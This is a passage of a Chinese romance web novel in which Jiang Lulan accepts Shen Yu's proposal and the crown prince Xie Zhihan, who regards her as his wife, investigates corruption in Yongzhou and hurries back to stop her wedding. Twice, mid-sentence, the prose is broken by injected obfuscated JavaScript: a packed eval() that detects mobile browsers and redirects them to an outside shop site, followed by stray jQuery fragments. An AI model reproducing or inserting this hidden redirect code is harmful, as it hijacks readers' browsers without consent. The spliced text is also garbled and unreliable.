“江姑娘,过几日是不是你的生辰?”沈昱目光灼灼。 后日的确是她的生辰。 “江姑娘喜欢怎样的生辰礼?” 江露染想了想,对着沈昱道:“沈公子不必特意为我准备。” 沈昱应下了她的话,但是心中却想,那怎么行,这可是他为江姑娘过的第一个生辰。 他要好好思考一下女孩子喜欢怎样的生辰礼。 江露染的生辰礼就在两日之后。 他得尽快找到江姑娘喜欢的生辰礼。 * 谢知寒静静望着腰间的香囊,银白色锦缎上面绣着青色的竹叶,非常雅致,针脚细密,这是晓晓为自己补的。 见物如见人,他好似看到晓晓站在自己面前,眉眼温柔。 长指轻轻在银白的缎面上抚过。 过几日就是晓晓的生辰,晓晓最喜欢的就是云梦花,届时他一定会让她看到最盛大的云梦花。 谢知寒视线落到角落中的香囊,香囊中全是助眠的草药,是沈昱给晓晓的。 那日去找晓晓缝补香囊,他一眼就看到悬挂于床边的这枚香囊。 锦缎颜色有些暗淡,与晓晓房中的布置非常不搭。 他暗地看了那香囊好几眼,离开的时候最终还是将这枚香囊取了下来。 晓晓的睡眠如何他是知晓情况最清楚的,该用哪几种草药他心中亦是最有数的。 沈公子的这枚香囊的确对睡眠有所帮助,但还是差了些火候。 谢知寒长指拿起一侧的毛笔,在白色的宣纸上写上几味草药,让暗卫去抓药,并且将抓来的草药重新放入另一枚香囊之中,是与晓晓为自己缝制的香囊一样的银白色。 他知道自己不该再去打扰她,可是一日不见她,他的心里就好像少了点什么。 不见她,他每日的睡眠也不太好,早知如此,那日就应该让暗卫为自己也抓一副草药,配置成香囊。 江露染正在话本子,正看到少年少女一起逛街,忽然遇到危险,正值千钧一发之际,门外传来一阵敲门声。 想都不用想,一定是殿下。 江露染想到上次在心里的承诺,纤细的指尖依旧搭在书页之上,没有起身。 殿下既然这么喜欢敲门,那就让他敲好了。 她就不信他还真的会一直敲下去。 她视线移到书页上,没有动身。 谢知寒依旧不疾不徐的轻轻扣门,好似一点也不着急。 并且,一点也没有停下来的意思。 就这样僵持了一刻钟。 最终还是江露染受不了,殿下他真的有点奇怪,以往他哪里会做出如此奇怪的举动。 深更半夜来敲姑娘家的门,哪里是君子所为。 她本来以为不理他,他就会自行离开,谁知他竟会一直敲下去。 这个人,怎么总是不听她的呢。 她明明让他不要再来了。 江露染起身,不情不愿地打开门,一副非常不欢迎他的样子。 “殿下,今日又是为了何事?” 一日是珠钗,一日是香囊,今日又是为了何事。 谢知寒握住她的手腕,一点一点将她的手心打开,而后在她白皙似雪的手心上放置了一枚香囊。 那枚香囊是银白色,与殿下佩戴的那枚一模一样。 香囊中传来淡淡的药香。 江露染望着手心的香囊,这是? 谢知寒望进她的眼睛,一字一句向她解释,温柔的像是今夜的晚风。 “这香囊里是有助于睡眠的中药,晓晓可以放置于床边。” 江露染望着手心银白色的香囊,沈公子那枚果然就是殿下拿走的。 殿下这是调换了? 少女静静望着香囊,并没有收下的意思。 谢知寒缓缓道:“这香囊中仍旧是沈公子的香料,我只是看这枚香囊有些破了,所以换了一个新的。” 是这样吗?江露染的眼神仍旧有些迟疑。 “晓晓,不相信孤?”他将她的手心合拢,平静地与她对视。 他的瞳仁透彻明亮,宛如天上星辰。 “若是晓晓不相信孤,那孤只好去问沈公子。”他不顾她的失色,语气平静,像是再说一件理所应当的小事。 去问沈公子,殿下以什么身份?东宫太子?那她要如何与沈公子解释她与太子相识? 怎么想都是一件很头疼的事。 算了,还是先收下香囊,过了眼前这一关再说。 她将香囊收入袖中,“多谢殿下好意。” “香囊我已收下,不知殿下还有其他的事吗?” 非常明显的逐客令。 谢知寒静静望着眼前的少女,眼神专注,而后,一字一句道:“晓晓,生辰快乐。” 虽然还有一段时间,但先提前祝她快乐。 殿下这是要做什么,明明她的生辰是后日。 不明白他的用意,但是收到了祝福,是要表示感谢的。 “多谢殿下。” 少女的声音清脆,像是夏日树梢上的落雨。 如果他们没有分开就好了,晓晓还在自己身边就好了。 谢知寒再一次这样想。 他实在是想碰碰她的脸颊,告诉自己到底是有多想她。 可是不能再打扰她了,再说下去会打扰晓晓的睡眠。 谢知寒最后望了一眼少女的眼眸,对着她道:“晓晓,好好休息。” 而后转身离去,白色的身影很快隐没于夜色之中。 江露染望着那袭白衣于夜色中很快消失不见,手心握紧那枚香囊。 香囊的布料很滑,一看就是价值不菲,殿下这几次三番如此做是为了什么呢? 她才不相信他说的,仅仅是为了换一个新的。 晓晓手中的香囊与自己腰间佩戴的一模一样,一想到这些,谢知寒心中就传来淡淡的喜悦,好似她一直在自己身边,从未离开。 天际之上吹来一阵清风,将云推开,洒下皎洁月光。 忽然传来轻微的哭泣声,在夜色中格外清晰。 谢知寒寻着哭声走去,看到一位阿婆,满头银丝,衣衫单薄,泪水簇簇而落。 她非常伤心,没有注意到谢知寒的接近。 “婆婆为何而哭?” 阿婆抬起头来,看到一位身穿白衣,容颜俊秀的公子望着自己。 她不知晓这位公子是谁,看他气度矜贵,她以往从来没有见过他,想来不是永州人。 “公子还是别问了,公子帮不上忙。” 何止是帮不上忙,说不准还为公子添麻烦。 就让她一个人遇见这件事情就好了,不要麻烦其他人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340967|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “婆婆怎知我不能帮你呢,婆婆且说说看。” 他的语气很温和,却不容置喙。 阿婆一愣,这位公子虽年轻,可这周身从容不迫的气度却极为少见。 不知怎地,她忽然想去试着相信他。 “我的女儿才及笈,就被永州县丞强占,还说要给我女儿一个名分,要纳我女儿为妾,我女儿不愿被他胁迫,就自尽了,我那可怜的女儿,她还那么小,都怪那个县丞...” 阿婆又哭了起来,泪水像是一条流不尽的河。 谢知寒眼神暗了暗,身为县丞,竟然也做这种鱼肉百姓的事。 今日这事是被自己知道了,若是自己不知晓呢。 “阿婆,你放心,那位县丞会受到惩罚。” 这位公子的语气淡淡,却完全不容忽视。 阿婆停下哭泣,心中悲叹,这位公子想来帮助自己是好的,可是那位县丞在永州一向作威作福惯了,无人敢招惹。 这位公子不是永州人,自然不知道内情。 “公子还是别管这些事,谁人不知永州县丞一向如此,无法无天惯了的。” 阿婆又开始哭起来,哭声及其凄清。 看来明日是该调些人手来永州了,不过是个小小的县令,竟然会有如此大的胆子。 这些人果真是无法无天。 谢知寒将阿婆扶进屋内,对着阿婆道:“阿婆,再给我讲讲关于永州县丞的事。” 这位公子竟然不嫌自己烦,这些日子她一直在伤心,街坊邻居都不想听了。 正是因为周围无人懂得她的痛苦,她才会在深夜中痛哭。 如今这位身姿清隽的公子倒是一点不耐烦的神色也没有。 阿婆将永州县丞的事全都告知了谢知寒。 这位永州县丞背后不知是有什么大人物,行事猖狂,鱼肉百姓,目中无人,可这么些年过去了,他也一直平安无事,状告的信件不知写了多少封,可他还是一点事情都没有。 写信状告他的百姓都被他报复,死的死,疯的疯,是以近几年都没人敢去状告他,是以这些年他行事越发乖张,人命在他眼中还没有他家的茶叶重要。 阿婆说着县丞的罪证,简直就是罄竹难书。 谢知寒越发沉默,这是他的国土,这是他的子民,在他看不见的地方,仍旧有许多百姓在受着苦难,甚至被欺辱的丢了性命。 而这些,他坐在庙堂之高,以前从未听说过。 离开之前,谢知寒对阿婆承诺:“放心婆婆,以后永州不会再出现这种事。” 阿婆望着那道白色的身影,不知为何,明明这是第一次看到这位公子,她莫名就觉得他可以信任。 若是旁人说出这句话,她只会觉得信口开河,但这位公子说,她就愿意去相信。 希望女儿的冤屈可以被洗清,希望永州再无这样的事情发生。 希望大胤所有的百姓全都生活在阳光之下。 谢知寒命令暗卫保护婆婆的安全,京城中的守卫很快也来到了永州。 他倒是很想看看,这位永州县丞是位怎样的人,以及他背后究竟又是谁在支持。 * 沈昱还在为江露染的生辰礼烦忧,阿婆看到他眉目不展,主动为他排忧解难。 “你不是心悦江姑娘?那就在江姑娘生辰礼那日向她表明自己的心意啊,这是最好的生辰礼。” 阿婆的话让沈昱的心立刻明朗起来。 “多谢阿婆。”他将新摘的果子放入阿婆手中,表示感谢,而后立刻飞奔回家。 这还是阿婆第一次看到沈昱如此失礼的模样,这沈公子啊哪里都好,就是一提到江姑娘就会乱了阵脚。 不过她也是极为喜欢江姑娘的,若是日后成了亲,沈公子可一定要对江姑娘好,否则她第一个不饶他。 江露染的生辰礼很快就到了。 沈昱约江露染出来看花灯,花灯的样式很多,江露染逐渐引起了兴趣,期间还猜对了好几个灯谜,怀中抱了不少彩头。 她怀中实在抱不下,向沈昱怀中放了一个兔子灯。 今日沈公子好像有些奇怪,他平日里话不多,可是今日更是沉默。 江露染看他一眼,沈公子今日难道是有什么心事? 沈昱鼓起勇气:“江姑娘,我有话要同你说。” 江露染望着他,容色明媚,宛如春日盛放的花:“沈公子要与我说什么?” 74. 第 74 章 此时,天幕之上突然升起了烟花,众人都抬头望去,只见绚烂的烟花在天幕之上不断得盛放开来。 江露染也抬头望去,果真是极其绚烂的烟花,盛放在天幕之上,像是一朵朵绚烂无比的朝霞,且烟花的形状还是她最喜欢的云梦花。 “快看是烟花,不知是哪位公子为心上人准备的,也太好看了吧。” “就是,我还是第一次看到这种别致的烟花,这种花是不是叫做云梦花,真好看!” 不知是谁放的这烟花,而且这烟花的形状恰恰还是自己最喜欢的,难道这是巧合吗? 江露染指着天际的烟花,兴奋道:“沈公子,快看是烟花!” 天际之上的烟花不断的盛放,明亮的光在她姣好的容颜上忽明忽灭,沈昱只觉得自己望着她的脸庞,已经有些心醉。 他并没有忘记今日是来做什么的,他要将自己的心意讲给江姑娘听。 她一眨不眨地望着烟花,他一眨不眨地望着眼前的少女。 江露染看了好一会儿烟花,才将视线收回来,抱紧了怀中的灯盏。 “沈公子,方才要对我说些什么?”她的眼睛在他面前扑闪扑闪,像是今夜的星星。 沈昱与笑容明媚的少女对视,耳后逐渐泛上薄红,但他没有退却。 “江姑娘,在下心悦你已久,欲求取江姑娘为妻,不知江姑娘可会答应在下?” 烟花盛开的声音仍旧不断回想在耳边,可是沈昱的话一点也不亚于天际之上的烟花,像是碎裂的星火回荡在江露染耳畔。 沈公子方才说什么,他欲求取自己为妻,江露染没有想到他今日会对她说出这番话,有些不知所措。 抱着怀中灯盏的白皙手指也顿住,周围的气氛瞬间安静下来。 身畔是烟花的绽放之声,周围是人群的喧嚣之声。 唯有他们二人之间深深对视,却不说一言,有些格格不入。 他们互相对视,时间仿佛停下。 良久之后,沈昱难掩失落:“江姑娘,不愿意吗?” 江露染望着眼前公子,他眉目俊朗,温润如玉,与他相处很轻松,他懂诗词,性格温和,若是日后与他生活,一定会很轻松。 她心中又响起算命老先生的话:“若是想要忘记过去,就应该开始新生活。” 如今,她与殿下不过陌路,殿下或许对自己还有几分情谊,但随着时间推移,这浅薄的情谊也会随时间褪去。 他将来会有更合适的太子妃,而她于他而言,不过是漫漫人生路上的一个过客。 她也得为自己的将来打算。 沈公子,是个不错的选择。 她凝视面前清俊公子的眉眼,对他道:“好啊,我答应沈公子。” 沈昱本来以为自己没有希望了,但是谁料想竟然听到江露染如此说。 她眉目如画,像是九天神女,对自己一字一句说着承诺。 她说她愿意。 沈昱不敢相信,怀疑自己听错。 “江姑娘,你可以再说一遍吗?” 江露染望着他,静静道:“我愿意。” 沈昱握住少女的手:“江姑娘,我一定不会让你后悔的。” 立于二楼之上的谢知寒,望着人群之中举止亲密的二人,视线凝在沈昱与晓晓相握的指尖上,这个人是怎么如此大胆,与他的晓晓这么亲密。 晓晓竟然也不阻止他,谢知寒眸色愈来愈深,周围的气氛也冷凝下来。 烟花已经放完,天际之上重归平静。 谢知寒望着少女好似与面前的沈公子说着什么,而后沈公子紧张的神色瞬间欢快起来,晓晓究竟对她说了什么,谢知寒心中浮现出不愉快。 不管晓晓与他说了什么,他都不会让他们继续在一起的。 他给她的时间,实在太多了,他不想等了。 谢知寒正在思考如何将晓晓带回宫中,暗卫手中呈上一封信:“殿下,是南风从京中传来的。” 谢知寒视线仍旧落在人群中的少女身上,待少女离开他才将视线收回,接过信件。 长指打开信件,认真读着信上的字句,原来是京中出了重要的案件,丞相一人不能决断,务必要让自己回京。 谢知寒将信件重新折好,望着少女方才待过的地方。 他可以再给晓晓一些时间,但也仅限于他回京的这一段时间了。 她离开的实在太久,他不能由着她任性了。 * 沈昱收到了江露染的承诺,非常开心,他回家立刻就准备聘礼,并且请人算了日子。 那人说下月初六,就是好日子,非常适宜嫁娶。 沈昱将此事告知了爹爹,娘亲。 虽说是父母之命媒妁之言,但沈昱这些天的表现他们也瞧在眼中,想来昱儿一定是心仪的姑娘,如今昱儿好不容易得到了姑娘的承诺,他们做父母的又怎么肯拆散呢。 何况,昱儿喜欢的姑娘一定是最好的。 下月初六,其实很快就会到。 但江露染决定好之后就会立刻去做,很少会犹豫,是以这个日子一直也没有改变。 既然已经决定好的事,为什么要犹豫呢? 两人的成婚之日就在下个月,沈昱很快就开始操办起来。 * 南风望着几日不见的殿下,他披着大氅,容颜清俊,透露着疲惫,南风明显感觉到,殿下似乎有些不开心。 难道殿下与江姑娘之间发生了什么事吗? 而且,怎么是殿下一个人回来,江姑娘没有与殿下一起回来? 不过,这也不是自己应该考虑的问题,毕竟,京中还有更重要的事情等着殿下去做。 他将事情细细禀给谢知寒听。 原来是有人发现战场上用来作战的兵器克数不对,仔细检查之后,发现本来是精钢有人了用了废铁,以次充好。 立刻禀报给官府,官府又将这件事禀报给朝廷。 战场上的兵器,谢知寒目光沉沉,也不知是谁有如此大的胆子,敢在这件事情上做文章。 眼看多日未见的太子殿下回来了,各朝臣也有了主心骨。 谢知寒立即派大理寺去彻查此案,大理寺很快就将相关人等抓捕归案,审了几日,抓来的人吐出的回答是什么也不知道。 他们也是才从永州过来,这批刀剑也是从永州带过来的。 大理寺将得到的回答写了折子奏给太子殿下。 殿内寂静无声,唯有烛火偶尔的燃烧之声,谢知寒静静望着手中的奏折,上面黑色字迹清晰无比,指明了瑕疵的兵刃来自永州。 谢知寒眼前立即浮现出那位深夜哭泣的阿婆,而此事,又是发生在永州。 永州到底出了何事? 谢知寒视线沉沉,晓晓此刻就在永州。 丞相得知太子殿下要亲去永州,有些不解,这些事情殿下另外派一个人过去就好,为何一定要以身试险呢? 他可是太子殿下,大胤未来的储君,若是他出了什么事,那大胤要怎么办。 “殿下,一定要如此吗?” 他想尽自己的努力劝一劝。 谢知寒眼前闪过阿婆和晓晓,以及永州的子民,晓晓生辰那日他在永州放了盛大无比的烟花,照亮了很多永州百姓的脸庞,那时的他们真的很开心,每个人脸庞上都洋溢着笑意。 但是有人就在阴暗的角落觊觎他们的笑意,做着一些见不得人的勾当。 那永州县丞为何会如此猖狂,为何阿婆一直敢怒不敢言,为何这么多年京城中从未收到过关于永州的折子。 以及,这些来自永州的兵刃为何会以次充好,他们到底想做些什么? 这些事情,他都会一一查清楚,给永州百姓一个交代,给那位女儿无辜枉死的阿婆一个交代。 “孤意已决。” 最终,丞相听到一向光风霁月的太子殿下如此说到。 看来自己这趟来的还是没有用处,殿下他已经做好了决定。 谢知寒回京将京中其他的政务也一并处理了。 这次回京时间有些久,不知晓晓这些天在做些什么。 谢知寒将处理好的奏折放在一边,最下面呈放的是一封信件,来自永州的,信封上有暗卫盖的印记。 这是何时送过来的,为何他此时才看到。 谢知寒将其打开,信上只有简短两行字。 “殿下,江姑娘欲与沈公子成婚,日期就在本月初六。” 字迹清晰,内容一眼便能看到。 谢知寒却拿着那封信件很久,只觉得那短短两行字迹要看不清楚。 晓晓要与沈昱成婚,这是为何? 他明明说了要她等自己,况且,他还额外给了她更多的时间,可今日却等来她决定要嫁给他人。 谢知寒第一次觉得,或许是自己太过于宠着她了,才会让她这么放肆。 一而再,再而三地挑战他的底线。 想到离开那晚是晓晓的生辰,在盛大的烟花之下,少女容颜姣好,对着身侧的男子言笑晏晏,举止亲密,好似在说着什么、 就是那一日下的决心吗? 她无视自己为她准备的烟花,却有时间与他人许下承诺。 心中涌上酸涩,手中纸张皱的不成样子。 她怎么可以一而再,再而三地抛弃自己,背离自己。 这样明目张胆的背离他的心意,已经是第二次。 身体的不适也在此时传来,他再也抑制不住胸中郁闷之气,鲜血涌出。 东宫的守卫见状,心中一惊,如今陛下身体欠安,全都依仗殿下,殿下可不能出事。 他立即去请王神医过来,神医一看到谢知寒苍白的面色,就暗自摇了摇头,明明已经说过要让殿下注意身体,可是病人根本就不听自己的。 拿殿下如何办才好。 王神医细细诊脉,他的脉象很乱,想来是这几日奔波忙碌,根本就没有好好服药。 做为一个病人怎么可以不吃药呢? 殿下身体上的症状越来越严重了。 “殿下,切忌不要在奔波忙碌,心情也不要有过多的波动,殿下如今正在生病,不要再折腾自己。” 王神医一边提笔写下药方,一边叮嘱。 谢知寒听到王神医如此说,过了很久也没有给他答复,他...给不了神医想要的答案,永州那边还有事等着自己去处理,他不能就这样停下来。 他不能因为自己一个人的病,而耽误了永州那么多百姓的生命。 他享受着百姓的爱戴和敬重,自然也是要拿出些东西令他的子民信服。 王神医许久听不到他的回复,心中已经想到他的想法,政事固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346475|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然重要,可是殿下的身体更为重要,他怎么不明白呢? 罢了,他就再钻研一下方子,开几剂重药。 眼下若是江姑娘在就好了,也就只有她可以劝得住殿下。 只是,江姑娘怎么没有跟殿下一起回来呢,小两口闹矛盾也该有个限度。 殿下这自伤又是何苦。 王神医再次暗中叹气,他将开好的药方递给宫人,交代宫人煮药的火候。 “有劳神医。” 他此时最想的可不是一句淡淡的有劳,而是谨遵医嘱。 不过他是说服不了他的也就只有多劝阻他。 “殿下还是应当多多注意身体。” 王神医离开以后,偌大的东宫殿中只剩下谢知寒一个人。 他服了药,身体上的疼痛很快减轻,但是心上的疼痛却逐渐加重,殿内燃着香炉,是他熟悉至极的甜香。 可是甜香的主人已经决定要嫁与他人,抛弃自己和这座宫殿。 他明明只是离开她仅仅几日,晓晓为何就可以如此痛快的做出这个决定。 他不明白,她明明是自己的妻子,为何还要嫁与他人。 她若是执意嫁与他人,那他们以前的过往到底算什么。 谢知寒一夜无眠。 窗外的月亮朦胧,不再似以往那般皎洁,像是蒙上了一层薄纱。 次日晨起谢知寒的咳嗽加重,南风看着殿下的病体,王神医不是开了方子吗? 殿下的病为何又加重了?南风双手合十,向着神佛许愿,希望殿下的病可以快些好起来,也希望江姑娘可以早日与殿下和好。 愿天下有情人都可以终成眷属。 得知殿下今日就启程去永州,南风再次不解,明明最初定的启程日是十日之后,殿下为何今日就要去往永州? 何况殿下的病还没有好。 “殿下的病还没有好,今日离开怕是过于匆忙。” 谢知寒轻咳出声,打断了南风还欲继续说下去的挽留。 “孤无事。” 语气淡淡,像是夜晚被人随意忽视的晚风。 殿下如此匆忙离开京城,南风或许能猜到一点原因,大抵是因为江姑娘。 殿下与江姑娘,到底何时才会和好,即便是自己这个看客,也实在是有些操心了。 原定的启程日的确是十日后,可是晓晓会在三日后与他人成婚。 他实在做不到平心静气看着她嫁与旁人。 如果早知是今日这个结果,他当初就不会答应给她时间,他的确是太纵容她了。 她是自己的妻子,他不会让她嫁与沈昱。 * 永州。 因为明日就是成婚的日子,江露染有点失眠,她就真的这样嫁与沈公子了吗,如此想来还有些不真实。 明明一个月前他们还是熟悉的朋友,而明日,她就要嫁人了。 江露染望着床边悬挂的香囊,银白色绸缎,上面绣着浅青色的竹叶。 与她缝制给殿下的那枚一模一样。 沉沉的香味从中散发而出,萦绕在她的身侧,似乎...还夹杂了一点点的檀香味,似有若无。 可殿下都离开自己很多日,她的房间他再也没有来过,哪里还会有什么檀香味,一定是她想错了。 明日还要早起描摹妆面,此时应当早点睡去。 江露染静静地数起羊来。 在去永州的路上,谢知寒第一次感到路途如此漫长,即便是马车,夜晚也可以听到风的声音。 在耳边烈烈作响。 掀开车帘看到的是寂寂长夜,天幕之上也是一轮弯月,几颗疏星。 谢知寒望了一眼天际的月亮,明日就是初六,也不知晓晓今日会想着谁。 若是她心中完全没有自己,谢知寒咳出声来,他以往从来都没有这么想过,她在自己身边时,他从来没有担忧过这个问题。 而此时此刻,他却开始在距离她很远的地方患得患失。 他多想现在就去到她的身边,直接将她带回来,若是她不愿,那他可以多说几句她喜欢的话哄哄她。 她有想要达成的愿望他也可以帮她视实现。 或者让她看到自己这幅生病的样子也不错,他的晓晓最是心软,说不定就会心疼他,然后不再跟自己闹脾气,回到他的身边来。 回顾他的一生,好像一直都是在失去,失去母后,失去她。 纵使他骄矜为储君,在夜深人静时,也总是会想,是不是自己哪里做的不好,所以他身边的人才会一个又一个的相继离开他。 他短暂的二十多年生命中,所要的也很简单,不过就是希望百姓安好,晓晓安好。 其余的好像也没有什么了。 或许她东宫去意已决,但他还是想给自己争取一个渺茫的机会。 他想试着,让她重新爱上自己。 或许对沈公子有点很不公平,但是在这场感情之中,明明是自己先来的。 谢知寒静默不语,夜色真的很寂静,只有叶片被风吹拂之声。 像是他此刻的心,在风中被吹拂的荡来荡去。 江露染一夜未睡好,晨起可以明晰地看到面色不好。 一侧的姑娘在她脸上扑了很多的铅粉来掩盖,江姑娘国色天香,即便不用这些铅粉也是永州最美丽的新娘。